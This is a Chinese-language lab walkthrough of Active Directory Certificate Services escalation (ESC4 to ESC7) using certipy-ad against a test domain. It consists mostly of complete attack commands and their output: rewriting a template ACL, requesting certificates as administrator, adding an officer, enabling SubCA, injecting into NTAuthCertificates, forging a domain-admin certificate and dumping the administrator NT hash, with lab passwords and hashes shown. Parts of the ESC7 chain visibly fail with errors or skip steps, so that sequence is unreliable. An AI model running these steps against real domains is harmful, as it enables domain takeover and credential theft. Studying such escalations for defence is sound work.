ESC4、ESC5、ESC6、ESC7

ESC4

本质就是证书模板的 ACL 配松了，低权限账号拥有写权限，把证书模板改造成存在ESC1的环境

需要拥有的权限，至少需要是以下的一种:
GenericAll
GenericWrite
WriteProperty 对关键属性拥有写入权限，特别是 mspki-certificate-name-flag、pKIExtendedKeyUsage 等
WriteDacl
WriteOwner

利用过程

发现存在ESC4

┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad find -u 'yadianna@yes.com' -p 'yadianna123' -dc-ip 192.168.116.123 -vulnerable

┌──(kali㉿yeswind)-[~/attack]
└─$ cat 20261009092208_Certipy.txt
Certificate Authorities
  0
    CA Name                             : yes-DC-01-CA
    DNS Name                            : DC-01.yes.com
    Certificate Subject                 : CN=yes-DC-01-CA, DC=yes, DC=com
    Certificate Serial Number           : 2C36D47A40EED4AC42392A855F8D5888
    Certificate Validity Start          : 2026-09-16 19:44:04+00:00
    Certificate Validity End            : 2031-09-16 19:54:04+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : YES.COM\Administrators
      Access Rights
        ManageCa                        : YES.COM\Administrators
                                          YES.COM\Domain Admins
                                          YES.COM\Enterprise Admins
        ManageCertificates              : YES.COM\Administrators
                                          YES.COM\Domain Admins
                                          YES.COM\Enterprise Admins
        Enroll                          : YES.COM\Authenticated Users
Certificate Templates
  0
    Template Name                       : ESC4Vuln
    Display Name                        : ESC4 Vulnerable

修改 ESC4Vuln 模板为可利用配置

┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad template -u 'yadianna@yes.com' -p 'yadianna123' -dc-ip 192.168.116.123 -template 'ESC4Vuln' -write-default-configuration
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Saving current configuration to 'ESC4Vuln.json'
[*] Wrote current configuration for 'ESC4Vuln' to 'ESC4Vuln.json'
[*] Updating certificate template 'ESC4Vuln'
[*] Adding:
[*]     msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2']
[*] Replacing:
[*]     nTSecurityDescriptor: b'\x01\x00\x04\x9cD\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x000\x00\x02\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x00\x00\x14\x00\x94\x00\x02\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00'
[*]     flags: 66104
[*]     pKIDefaultKeySpec: 2
[*]     pKIKeyUsage: b'\x86\x00'
[*]     pKIMaxIssuingDepth: -1
[*]     pKICriticalExtensions: ['2.5.29.19', '2.5.29.15']
[*]     pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2']
[*]     msPKI-Enrollment-Flag: 0
[*]     msPKI-Certificate-Name-Flag: 1
Are you sure you want to apply these changes to 'ESC4Vuln'? (y/N): y
[*] Successfully updated 'ESC4Vuln'

以管理员身份申请证书，获得hash

┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad req -u 'yadianna@yes.com' -p 'yadianna123' -ca 'yes-DC-01-CA' -template 'ESC4Vuln' -upn 'administrator@yes.com' -dc-ip 192.168.116.123 -target 192.168.116.123 -out administrator
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 25
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@yes.com'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.116.123
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@yes.com'
[*] Using principal: 'administrator@yes.com'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@yes.com': aad3b435b51404eeaad3b435b51404ee:538c8c0909a8f53ee4048c00b97d3a46

ESC5

ESC5 的本质是模板之外的 PKI 对象 ACL 滥用：改模板容器 → 可创建/篡改任意模板；改 Enrollment Services → 可操纵 CA 注册对象；改 NTAuthCertificates → GoldenCert

攻击路径:
路径一：备份 CA 私钥，伪造黄金证书
路径二：控制 Enrollment Services 对象，发布恶意模板
路径三：修改 NTAuthCertificates，信任 rogue CA

ESC6

ESC6 的本质在于：CA 配置了 EDITF_ATTRIBUTESUBJECTALTNAME2 注册表标志。这个标志的优先级凌驾于模板之上，相当于给 CA 下达了绝对指令——“只要申请者随请求提交了 SAN 属性字符串，不管模板是怎么规定的，一律强行写入证书中。” 这直接导致所有模板的身份约束规则瞬间失效。

利用:

┌──(kali㉿yeswind)-[~/attack]
└─$ cat 20261009101205_Certipy.txt
Certificate Authorities
  0
    CA Name                             : yes-DC-01-CA
    DNS Name                            : DC-01.yes.com
    Certificate Subject                 : CN=yes-DC-01-CA, DC=yes, DC=com
    Certificate Serial Number           : 2C36D47A40EED4AC42392A855F8D5888
    Certificate Validity Start          : 2026-09-16 19:44:04+00:00
    Certificate Validity End            : 2031-09-16 19:54:04+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Enabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : YES.COM\Administrators
      Access Rights
        ManageCa                        : YES.COM\Administrators
                                          YES.COM\Domain Admins
                                          YES.COM\Enterprise Admins
        ManageCertificates              : YES.COM\Administrators
                                          YES.COM\Domain Admins
                                          YES.COM\Enterprise Admins
        Enroll                          : YES.COM\Authenticated Users
    [!] Vulnerabilities
      ESC6                              : Enrollee can specify SAN.
    [*] Remarks
      ESC6                              : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates

请求管理员的证书

┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad req -u 'yadianna' -p 'yadianna123' -dc-ip 192.168.116.123 \                                                                -ca yes-DC-01-CA -template User -upn administrator@yes.com
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 27
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@yes.com'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

ESC7

由于CA对权限的分配不合理，低权限用户可以提权至ManageCertificates，自己审批自己发布的特权CA模板

[攻击者具有 ManageCA 权限]
          ↓
1. 将自己加入 CA 的 "ManageCertificates" (Officer) 角色
          ↓
2. 启用内置的 "SubCA" 模板（该模板通常无需认证扩展，但需要管理员审批）
          ↓
3. 伪造 Administrator 身份申请 SubCA 证书（请求被拦截，进入 Pending 状态）
          ↓
4. 利用已获取的 ManageCertificates 权限，手动【批准】(Issue) 这个 Pending 请求
          ↓
5. 下载已签发的管理员证书并提取私钥 -> 通过 PKINIT 获取域管权限

利用流程:

┌──(kali㉿yeswind)-[~/attack]
└─$ cat 20261009105209_Certipy.txt
Certificate Authorities
  0
    CA Name                             : yes-DC-01-CA
    DNS Name                            : DC-01.yes.com
    Certificate Subject                 : CN=yes-DC-01-CA, DC=yes, DC=com
    Certificate Serial Number           : 2C36D47A40EED4AC42392A855F8D5888
    Certificate Validity Start          : 2026-09-16 19:44:04+00:00
    Certificate Validity End            : 2031-09-16 19:54:04+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Enabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : YES.COM\Administrators
      Access Rights
        ManageCa                        : YES.COM\Administrators
                                          YES.COM\Domain Admins
                                          YES.COM\Enterprise Admins
                                          YES.COM\Domain Users
        ManageCertificates              : YES.COM\Administrators
                                          YES.COM\Domain Admins
                                          YES.COM\Enterprise Admins
                                          YES.COM\Domain Users
                                          YES.COM\esc1user
        Enroll                          : YES.COM\Authenticated Users
    [+] User Enrollable Principals      : YES.COM\Authenticated Users
    [+] User ACL Principals             : YES.COM\Domain Users
    [!] Vulnerabilities
      ESC6                              : Enrollee can specify SAN.
      ESC7                              : User has dangerous permissions.

把yadianna添加为证书的管理官

┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad ca -u 'yadianna@yes.com' -p 'yadianna123' -dc-ip 192.168.116.123 \
  -ca yes-DC-01-CA -add-officer yadianna
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'yadianna' on 'yes-DC-01-CA'

启用SubCA（ManageCa 权限）

┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad ca -u 'yadianna@yes.com' -p 'yadianna123' -dc-ip 192.168.116.123 \
  -ca yes-DC-01-CA -enable-template SubCA
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'yes-DC-01-CA'

导出subca.crt

┌──(kali㉿yeswind)-[~/attack]
└─$ openssl pkcs12 -in yadianna.pfx -passin pass: -clcerts -nokeys | openssl x509 -out subca.crt

生成 SubCA 的 CRL（否则 KDC 拒绝：吊销服务器脱机）

┌──(kali㉿yeswind)-[~/attack]
└─$ echo 1000 > crlnumber
openssl ca -gencrl -keyfile 30.key -cert subca.crt -out subca.crl.pem \
  -config <(printf '[ca]\ndefault_ca=X\n[X]\ncrlnumber=crlnumber\ndefault_md=sha256\ndefault_crl_days=30\n')
openssl crl -in subca.crl.pem -outform DER -out subca.crl
生成: command not found
Using configuration from /proc/self/fd/11
variable lookup failed for X::database
4097D26788730000:error:0700006C:configuration file routines:NCONF_get_string:no value:../crypto/conf/conf_lib.c:316:group=X name=database

写入 NTAuthCertificates（LDAP，低权即可）

┌──(kali㉿yeswind)-[~/attack]
└─$ python3 -c "
from ldap3 import Server,Connection,MODIFY_ADD
from cryptography import x509
from cryptography.hazmat.primitives import serialization
B='CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=yes,DC=com'
d=x509.load_pem_x509_certificate(open('subca.crt','rb').read()).public_bytes(serialization.Encoding.DER)
c=Connection(Server('192.168.116.123'),user='yadianna@yes.com',password='yadianna123',auto_bind=True)
c.modify(B,{'cACertificate':[(MODIFY_ADD,[d])]});print(c.result['description'])"
attributeOrValueExists

伪造域管证书

┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad forge -ca-pfx yadianna.pfx -upn administrator@yes.com -subject 'CN=administrator' \
  -crl 'ldap:///CN=yes-DC-01-CA,CN=DC-01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=yes,DC=com?certificateRevocationList?base?objectClass=cRLDistributionPoint' \
  -out forged -pfx-password forged
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'forged'
[*] Wrote forged certificate and private key to 'forged'

获得域管hash

┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad auth -pfx forged -password forged -dc-ip 192.168.116.123
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] SAN UPN: 'administrator@yes.com'
[*] Using principal: 'administrator@yes.com'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@yes.com': aad3b435b51404eeaad3b435b51404ee:538c8c0909a8f53ee4048c00b97d3a46